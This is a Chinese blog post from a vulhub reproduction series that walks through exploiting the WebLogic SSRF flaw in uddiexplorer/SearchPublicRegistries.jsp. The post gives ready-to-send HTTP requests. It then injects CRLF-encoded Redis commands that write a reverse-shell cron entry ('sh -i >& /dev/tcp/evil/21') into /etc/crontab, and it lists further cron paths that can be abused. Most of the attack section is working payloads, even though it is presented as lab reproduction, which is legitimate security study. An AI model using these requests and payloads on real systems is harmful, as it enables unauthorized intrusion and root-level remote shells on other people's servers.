Weblogic SSRF漏洞

最新推荐文章于 2024-05-24 00:42:26 发布

小白萝卜

最新推荐文章于 2024-05-24 00:42:26 发布

阅读量267

点赞数

分类专栏： vulhub漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/EC_Carrot/article/details/119836808

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

漏洞简介

Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

漏洞复现

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，我们发送如下数据包：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

其中http://127.0.0.1:7001可以是一个能够访问的网址，查看返回包：
在这里插入图片描述
如果访问的非http协议，则会返回did not have a valid SOAP content-type，修改为一个不存在的端口，将会返回could not connect over HTTP to server：

那我们不妨试想，注入HTTP头，就可以利用Redis反弹shell！Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*），vulhub的环境中172.18.0.2:6379可以连通redis，但是我这里环境出了点问题，只能稍微讲讲，发送三条redis命令，将弹shell脚本写入/etc/crontab：

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

注意需要URL编码，换行符是“\r\n”，也就是“%0D%0A”。，将url编码后的字符串放在ssrf的域名后面，发送：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

vulhub的文章也是很贴心的写了些笔记：

最后补充一下，可进行利用的cron有如下几个地方：

 - /etc/crontab 这个是肯定的
 - /etc/cron.d/*
   将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
 - /var/spool/cron/root centos系统下root用户的cron文件
 - /var/spool/cron/crontabs/root debian系统下root用户的cron文件